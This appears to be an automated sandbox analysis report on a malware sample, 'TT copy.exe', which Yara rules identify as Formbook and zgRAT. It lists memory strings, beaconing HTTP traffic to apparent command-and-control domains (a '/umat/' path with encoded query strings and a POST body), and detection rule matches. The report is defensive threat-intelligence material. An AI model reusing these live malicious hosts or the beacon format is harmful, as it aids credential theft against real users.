Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sassafrasriver.info/umat/9
Source: rundll32.exe, 0000000F.00000002.775195320.00000000034E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sassafrasriver.info/umat/:
Source: rundll32.exe, 0000000F.00000002.775145614.00000000034BF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000F.00000002.775060097.0000000003460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sassafrasriver.info/umat/?bT7tPLpx=YjKReNU7fpMtyeRGaGRV8DawgxIzw/dI3fdHDlQJdSAE6vSrucr3Ac
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sassafrasriver.info/umat/L
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sassafrasriver.info/umat/em32
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sassafrasriver.info/umat/om/
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: TT copy.exe, 00000000.00000002.292807455.0000000006962000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=8072167097284;g
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=4510094
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=2542116;cat=chom0;ord=8072167097284;gtm=2wg9
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://consent.google.com/done8?continue=https://www.google.com/?gws_rd%3Dssl&origin=https://www.go
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://consent.google.com/done8continue=https://www.google.com/?gws_rd%3Dssl&origin=https://www.goo
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://consent.google.com/hl=en-GB&origin=https://www.google.com&continue=https://www.google.com/?g
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://consent.google.com/setpc=s&uxe=4421591
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/checksync.php&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2C
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.phpcid=8CU157172&crid=722878611&size=306x271&https=1;
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contextual.media.net/medianet.phpcid=8CU157172&crid=858412214&size=306x271&https=1
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/calloutprid=19020392&pgid=19020380&puid=93eb0881ae9ec1db&origin=https%
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/gws_rd=sslh5-
Source: rundll32.exe, 0000000F.00000002.775080171.000000000346A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/l
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/thank-you.htmlstatcb=0&installdataindex=empty&defaultbrowse
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchpJ
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchsource=hp&ei=djJ0X6TKCL6IjLsPqriogAY&q=chrome&oq=chrome&gs_lcp=CgZwc3kt
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwj8k7G9rJDsAhWNTxUIHZZGDCQQ
Source: rundll32.exe, 0000000F.00000002.775115851.000000000348D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/urlsa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwj8k7G9rJDsAhWNTxUIHZZGDCQQF

Source: unknown

HTTP traffic detected: POST /umat/ HTTP/1.1Host: www.drivetrianrepair.comConnection: closeContent-Length: 414Cache-Control: no-cacheOrigin: http://www.drivetrianrepair.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.drivetrianrepair.com/umat/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 62 54 37 74 50 4c 70 78 3d 70 67 66 38 43 4b 6a 36 75 4e 4c 43 78 45 49 77 6d 33 37 62 45 4e 56 58 59 35 7a 69 79 4b 58 4f 55 37 31 45 31 36 76 6a 6e 6e 59 49 6f 78 67 44 28 69 6a 30 52 31 57 38 56 7a 4c 74 33 4d 52 46 74 44 49 2d 54 76 43 79 4c 5a 32 64 4e 42 4b 79 69 4e 28 31 38 5f 53 31 46 31 50 58 53 69 7e 41 72 58 6e 4f 52 48 42 34 54 2d 6d 71 44 6f 33 69 34 46 4d 4b 53 44 39 34 6c 50 54 71 70 54 4d 7a 4b 79 70 41 30 31 70 73 39 74 56 43 42 2d 43 74 43 56 74 6c 78 79 48 4b 63 79 6b 63 31 59 37 63 57 36 46 35 35 33 36 75 42 37 45 61 33 6b 6c 77 77 53 66 38 47 46 75 75 4f 66 43 77 78 41 45 61 73 77 62 50 6f 53 49 69 39 53 55 56 4a 42 74 36 7e 31 36 37 30 31 4c 53 71 4d 53 4e 4d 57 6d 47 6e 6b 76 5a 34 44 65 59 38 66 31 63 4f 38 61 44 62 43 4e 37 5a 53 4e 53 78 61 41 66 49 66 49 78 36 43 56 77 30 74 72 76 66 4b 6e 36 73 68 59 35 45 6f 69 74 75 70 41 62 4a 78 35 67 70 64 45 45 73 44 73 45 79 4e 55 47 42 35 4b 6d 4b 67 48 4d 6b 6d 7e 6f 70 72 71 59 39 4a 57 36 69 76 6c 45 35 53 50 46 68 76 47 54 31 49 46 53 56 48 51 68 66 63 35 72 52 4c 64 59 55 72 79 52 63 7a 57 59 41 32 6e 59 4b 37 55 43 4b 4d 37 44 45 62 55 78 57 36 54 71 50 5f 28 37 41 41 73 46 46 6d 7e 53 75 55 39 5f 64 6d 62 4c 72 62 62 6e 48 67 4d 4e 32 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: bT7tPLpx=pgf8CKj6uNLCxEIwm37bENVXY5ziyKXOU71E16vjnnYIoxgD(ij0R1W8VzLt3MRFtDI-TvCyLZ2dNBKyiN(18_S1F1PXSi~ArXnORHB4T-mqDo3i4FMKSD94lPTqpTMzKypA01ps9tVCB-CtCVtlxyHKcykc1Y7cW6F5536uB7Ea3klwwSf8GFuuOfCwxAEaswbPoSIi9SUVJBt6~16701LSqMSNMWmGnkvZ4DeY8f1cO8aDbCN7ZSNSxaAfIfIx6CVw0trvfKn6shY5EoitupAbJx5gpdEEsDsEyNUGB5KmKgHMkm~oprqY9JW6ivlE5SPFhvGT1IFSVHQhfc5rRLdYUryRczWYA2nYK7UCKM7DEbUxW6TqP_(7AAsFFm~SuU9_dmbLrbbnHgMN2Q).

Source: unknown

DNS traffic detected: queries for: www.sinsegae.net

Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=D4TTb2HFoQH2akGSEaIGW9Q5orhATJxj88Hz932hPvAyMJtUsfmLZeVWMqqycYkj367i&Lls=Mzrp HTTP/1.1Host: www.sinsegae.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=fN7N1F2KWXt3ovU6r68cyY5Lu6wYlX1654ZBQHzs5x7zh69UEoWjTQ+z2V8zkyyJbLkO&Lls=Mzrp HTTP/1.1Host: www.shopcycles3.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=mirGcuiLmtPKrDRAwzy9R4FSSMfuwOXiEO9Msa/shEoIjA842HTgawjSFBDstolWxD5R&Lls=Mzrp HTTP/1.1Host: www.drivetrianrepair.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=+g+DxeMkQzGDCM6UtLigEqbhHpqmy5i0tcGfeVxiUfs1lW6LnDSR3mKv2Ti+o1fqk+Bj&Lls=Mzrp HTTP/1.1Host: www.408wmountain.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=0U+wDcNGQqR9Hew/M/CPYn8/YjXw+pI3fQmmix2gP7IpZmdQ6xwgfERw2ruDncdGOHrq&Lls=Mzrp HTTP/1.1Host: www.huiyi-sui.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=FnqEmG0l+4J7qDB1yrHJ8vmLGr/EIrLpN16t5uGcZtfyOUhwcz0qzKS8JKDk7Sjhqw7U&Lls=Mzrp HTTP/1.1Host: www.sarrafguler.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=KCFtk2ByPIrj6EQbanamrSzf2WMHsV3o1++x6ahF6LksDSy9FlqjvwWpWYTFvIM6F0DF&Lls=Mzrp HTTP/1.1Host: www.theflysnare.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /umat/?bT7tPLpx=2PPXS0ByghwnUiXofzfHcTluxn0kF7CQXUmv2gLgzHNDwPHvxa5MhM39jfYs7JtQ10qs&Lls=Mzrp HTTP/1.1Host: www.huayugw.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 3.0.TT copy.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TT copy.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.TT copy.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.TT copy.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.TT copy.exe.39a9950.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: 3.0.TT copy.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.TT copy.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.TT copy.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.TT copy.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.TT copy.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.TT copy.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.TT copy.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.TT copy.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.TT copy.exe.7160000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 3.2.TT copy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.TT copy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.TT copy.exe.7160000.9.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.TT copy.exe.3ae0848.5.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 3.0.TT copy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.TT copy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.TT copy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.TT copy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.TT copy.exe.3ae0848.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.TT copy.exe.39a9950.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.2.TT copy.exe.39a9950.6.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.TT copy.exe.39a9950.6.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.355171792.0000000000F40000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.294087756.0000000007160000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects zgRAT Author: ditekSHen
Source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.320130923.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.277077283.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.352260346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.276708609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.773452103.0000000000F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.338379852.000000000AFE2000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000002.775282393.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.289098231.00000000039A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: TT copy.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: 3.0.TT copy.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.TT copy.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.TT copy.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.TT copy.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.TT copy.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.TT copy.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.TT copy.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.TT copy.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.TT copy.exe.7160000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 3.2.TT copy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.TT copy.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.TT copy.exe.7160000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.TT copy.exe.3ae0848.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 3.0.TT copy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.TT copy.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.TT copy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.TT copy.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.TT copy.exe.3ae0848.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.TT copy.exe.39a9950.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.2.TT copy.exe.39a9950.6.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.TT copy.exe.39a9950.6.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.357881887.0000000000F70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.774935226.0000000003430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
